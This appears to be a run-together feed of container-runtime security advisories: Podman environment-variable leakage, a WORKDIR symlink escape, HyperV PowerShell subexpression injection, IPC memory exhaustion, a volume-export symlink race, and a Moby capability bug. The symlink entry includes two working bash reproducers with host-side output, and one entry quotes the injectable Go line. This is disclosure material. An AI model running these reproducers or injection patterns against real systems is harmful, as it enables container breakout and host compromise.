Podman is a tool for managing OCI containers and pods. From 1.8.1 until 5.8.4, a container image that contains a environment variable with just a key and no value can trick podman into passing that variable from the host into the container. This is made worse by the fact that using an asterisk () will cause podman to pass all host variables into the container. So essentially a malicious image can exfiltrate all podman environment variables that are set in the session from where the container is launched. This vulnerability is fixed in 5.8.4 and 6.0.0.
Summary
Running a malicous container image where the WORKDIR path contains a symlink can create a directory or modify ownership on the host filesystem. Modified ownership is less likely to happen as that requires help from an untrusted/malicious process that mutates the host filesystem tree during dereferencing of the WORKDIR path, to trigger a race condition.
Patch
https://github.com/podman-container-tools/podman/commit/d18e44e9abb3bf5b7294aa70806e1368fdddfdd0
Details
This issue was fixed in podman 5.7.1 (git commit 7ce2e00ab140c11a68301f0b161f51984131a858)
PoC
The reproducer script test1.bash demonstrates the vulnerability. The directory /var/BREAKOUT is created on the host. The container process uses the container directory /var/BREAKOUT as current working directory.
The reproducer script test2.bash demonstrates the same vulnerability. The directory /var/BREAKOUT is created on the host. The container process uses the container directory /usr/local as current working directory.
The reproducer script test2.bash shows that the working directory can be different from the breakout directory.
Reproducer test1.bash
#!/bin/bash set -o errexit set -o nounset
if [ -e /var/BREAKOUT ]; then echo error: path /var/BREAKOUT should not exist beforehand exit 1 fi
dir=$(mktemp -d) cat > $dir/Containerfile << 'EOF' FROM docker.io/library/alpine RUN cd / && ln -s ../../../../../../../var symlink USER 1234:1234 WORKDIR /symlink/BREAKOUT CMD ["/bin/sh","-c","echo current working directory: $(pwd)"] EOF
podman build -q --no-cache -t img $dir podman run --rm localhost/img ls -ld /var/BREAKOUT
Reproducer test2.bash
#!/bin/bash set -o errexit set -o nounset
if [ -e /var/BREAKOUT ]; then echo error: path /var/BREAKOUT should not exist beforehand exit 1 fi
dir=$(mktemp -d) cat > $dir/Containerfile << 'EOF' FROM docker.io/library/alpine ARG breakoutdirname=/var ARG breakoutbasename=BREAKOUT ARG producepwd=/usr/local RUN mkdir -p /0/1/2/3 && \ cd /0 && \ ln -s 1/2/3 symlink1 && \ mkdir -p /0/1/symlink2/${breakoutdirname} && \ cd /0/1/symlink2/${breakoutdirname} && \ ln -s ${producepwd} ${breakoutbasename} RUN cd / && ln -s ../../../../../../.. symlink2 USER 1234:1234 WORKDIR /0/symlink1/../../symlink2/${breakoutdirname}/${breakoutbasename} CMD ["/bin/sh","-c","echo current working directory: $(pwd)"] EOF
podman build -q --no-cache -t img $dir podman run --rm localhost/img ls -ld /var/BREAKOUT
Vulnerable:
podman 5.7.0 using Fedora CoreOS 43.20251120.3.0
root@localhost:~# bash test1.bash 38c27b69c61941741f49c3f87b589b422391d5908659665cabf248934be0ed80 current working directory: /var/BREAKOUT drwxr-xr-x. 2 1234 1234 6 May 29 19:28 /var/BREAKOUT root@localhost:~# rmdir /var/BREAKOUT/ root@localhost:~# bash test2.bash c3390edbe393a3f3b182e60c5900cf93444b5120fbe34dc305478b3b77a106c9 current working directory: /usr/local drwxr-xr-x. 2 1234 1234 6 May 29 19:28 /var/BREAKOUT
Not vulnerable:
podman 5.7.1 using Fedora CoreOS 43.20260119.1.1
root@localhost:~# bash test1.bash 0229bf752a821d5b9bb8afcf4b94e8de2a4838798ae8065414b7f939b81d0788 current working directory: /var/BREAKOUT ls: cannot access '/var/BREAKOUT': No such file or directory root@localhost:~# bash test2.bash 568584150a93a003feb8ae1985173bf50ced9cba4d52f9734cb70dc75eeb7c60 current working directory: /usr/local ls: cannot access '/var/BREAKOUT': No such file or directory
Credits
We like to thank Erik Sjölund (@eriksjolund) for reporting the security impact to us.
Summary
A command injection vulnerability exists in Podman's HyperV machine backend. The VM image path is inserted into a PowerShell double-quoted string without sanitization, allowing $() subexpression injection.
Affected Code
File: pkg/machine/hyperv/stubber.go:647
go resize := exec.Command("powershell", []string{ "-command", fmt.Sprintf("Resize-VHD \"%s\" %d", imagePath.GetPath(), newSize.ToBytes()), }...)
Root Cause
PowerShell evaluates $() subexpressions inside double-quoted strings before executing the outer command. The fmt.Sprintf call places the user-controlled image path directly into double quotes without escaping or sanitization.
Impact
An attacker who can control the VM image path (through a crafted machine name or image directory) can execute arbitrary PowerShell commands with the privileges of the Podman process on the Windows host. On typical Windows installations, this means SYSTEM-level code execution.
Patch
https://github.com/containers/podman/commit/571c842bd357ee626019ea97d030fb772fc654ed
The affected code is only used on Windows, all other operating systems are not affected by this and can thus ignore the CVE patch.
Credit
We like to thank Sang-Hoon Choi (@KoreaSecurity) for reporting this issue to us.
A flaw was found in Podman. This issue may allow an attacker to create a specially crafted container that, when configured to share the same IPC with at least one other container, can create a large number of IPC resources in /dev/shm. The malicious container will continue to exhaust resources until it is out-of-memory (OOM) killed. While the malicious container's cgroup will be removed, the IPC resources it created are not. Those resources are tied to the IPC namespace that will not be removed until all containers using it are stopped, and one non-malicious container is holding the namespace open. The malicious container is restarted, either automatically or by attacker control, repeating the process and increasing the amount of memory consumed. With a container configured to restart always, such as podman run --restart=always, this can result in a memory-based denial of service of the system.
A Time-of-check Time-of-use (TOCTOU) flaw was found in podman. This issue may allow a malicious user to replace a normal file in a volume with a symlink while exporting the volume, allowing for access to arbitrary files on the host file system.
A bug was found in Moby (Docker Engine) where containers were incorrectly started with non-empty inheritable Linux process capabilities, creating an atypical Linux environment and enabling programs with inheritable file capabilities to elevate those capabilities to the permitted set during execve(2). Normally, when executable programs have specified permitted file capabilities, otherwise unprivileged users and processes can execute those programs and gain the specified file capabilities up to the bounding set. Due to this bug, containers which included executable programs with inheritable file capabilities allowed otherwise unprivileged users and processes to additionally gain these inheritable file capabilities up to the container's bounding set. Containers which use Linux users and groups to perform privilege separation inside the container are most directly impacted.